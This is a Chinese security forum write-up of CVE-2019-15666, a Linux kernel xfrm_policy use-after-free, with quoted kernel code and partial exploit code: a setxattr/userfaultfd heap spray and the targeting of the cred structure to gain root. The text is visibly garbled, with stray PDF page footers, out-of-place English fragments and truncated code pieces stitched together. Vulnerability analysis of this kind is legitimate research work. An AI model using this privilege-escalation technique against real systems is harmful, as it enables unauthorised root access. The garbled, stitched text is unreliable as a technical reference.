其他
CVE-2019-15666 xfrm_policy 提权漏洞
本文为看雪论坛精华文章
看雪论坛作者ID:inquisiter
一. 简介
XFRM_MSG_NEWSA请求的路劲添加policy。
https://duasynt.com/blog/ubuntu-centos-redhat-privesc
二. uaf形成
static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_userpolicy_info *p = nlmsg_data(nlh);
struct xfrm_policy *xp;
struct km_event c;
int err;
int excl;
err = verify_newpolicy_info(p); [1]
if (err)
return err;
err = verify_sec_ctx_len(attrs);
if (err)
return err;
c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2
xp = xfrm_policy_construct(net, p, attrs, &err);
if (!xp)
return err;
excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;
err = xfrm_policy_insert(p->dir, xp, excl); [2]
xfrm_audit_policy_add(xp, err ? 0 : 1, true);
...
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p)
{
...
ret = verify_policy_dir(p->dir); [3]
if (ret)
return ret;
if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]
return -EINVAL;
return 0;
}
static int verify_policy_dir(u8 dir)
{
switch (dir) {
case XFRM_POLICY_IN:
case XFRM_POLICY_OUT:
case XFRM_POLICY_FWD:
break;
default:
return -EINVAL;
}
return 0;
}
if (unlikely(xp->walk.dead))
goto out;
dir = xfrm_policy_id2dir(xp->index); [5] index = 4 dir = 4
...
expired:
read_unlock(&xp->lock);
if (!xfrm_policy_delete(xp, dir)) [6]
km_policy_expired(xp, dir, 1, 0);
xfrm_pol_put(xp);
}
其中 利用 xfrm_policy_id2dir();计算了direction。但是
static inline int xfrm_policy_id2dir(u32 index)
{
return index & 7;
}
4 & 7 = 4 ; [6]越界行为,4 & 3 =0。
static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst);
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--; [7]
return pol;
}
priority 0.
a timer set.
previous step
list:
static void xfrm_hash_rebuild(struct work_struct *work)
{
...
/* re-insert all policies by order of creation */
list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) {
if (policy->walk.dead ||
xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) { [8]
/* skip socket policies */
continue;
}
newpos = NULL;
chain = policy_hash_bysel(net, &policy->selector,
policy->family,
xfrm_policy_id2dir(policy->index));
hlist_for_each_entry(pol, chain, bydst) {
if (policy->priority >= pol->priority)
newpos = &pol->bydst;
else
break;
}
if (newpos)
hlist_add_behind(&policy->bydst, newpos);
else
hlist_add_head(&policy->bydst, chain);
}
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.
disjoint state:
int xfrm_policy_flush(struct net *net, u8 type, bool task_valid)
{
...
for (dir = 0; dir < XFRM_POLICY_MAX; dir++) {
struct xfrm_policy *pol;
int i;
again1:
hlist_for_each_entry(pol,
&net->xfrm.policy_inexact[dir], bydst) {
if (pol->type != type)
continue;
__xfrm_policy_unlink(pol, dir);
spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
cnt++;
xfrm_audit_policy_delete(pol, 1, task_valid);
xfrm_policy_kill(pol); [9]
...
When the preset timer expires on the second policy, the following execution path calls the unlink operation
on the second policy leading to UAF write in [10]:
static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst); [10]
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--;
return pol;
}
hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:
static inline void __hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
WRITE_ONCE(*pprev, next); [11]
if (next)
next->pprev = pprev;
}
in the freed object gets overwritten with 0 (8-byte write) in [11].
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;
next->pprev = pprev 没有操作。
pol2->pprev = pol1。pol2还引用这释放后的pol1值。堆喷站位。
next = pol2->next =NULL
pprev = pol2->pprev =pol1
next->pprev = pprev ==> 没有操作;
二. poc实现利用
static pthread_t spray_setxattr(int flag, int idx)
{
pthread_t ret;
void *addr;
addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
if (!addr) {
perror("mmap");
exit(-1);
}
ret = uffd_setup(addr, 0x1000, flag, idx);
sem_wait(&shmaddr[idx]);
if (flag) {
int c;
read(pipedes1[0], &c, 1);
}
setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
return ret;
}
void *addr;
addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000);
sem_post(&shmaddr[idx + 1]);
int c;
read(pipedes0[0], &c, 1);
struct uffdio_copy io_copy;
char src[0x1000];
io_copy.dst = (unsigned long)addr;
io_copy.src = (unsigned long)src;
io_copy.len = 0x1000;
io_copy.mode = 0;
if ((idx > (SEM_MAX - 1)) || (idx < 205)) {
sleep(1);
if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0)
perror("UFFDIO_COPY");
} else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) {
perror("UFFDIO_COPY");
}
sleep(3);
三. 完成提权
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
......
};
struct xfrm_policy {
#ifdef CONFIG_NET_NS
struct net *xp_net;
#endif
struct hlist_node bydst;
struct hlist_node byidx;
.....
};
typedef __kernel_uid32_t uid_t;
https://duasynt.com/blog/ubuntu-centos-redhat-privesc
看雪ID:inquisiter
https://bbs.pediy.com/user-home-734587.htm
*本文由看雪论坛 inquisiter 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看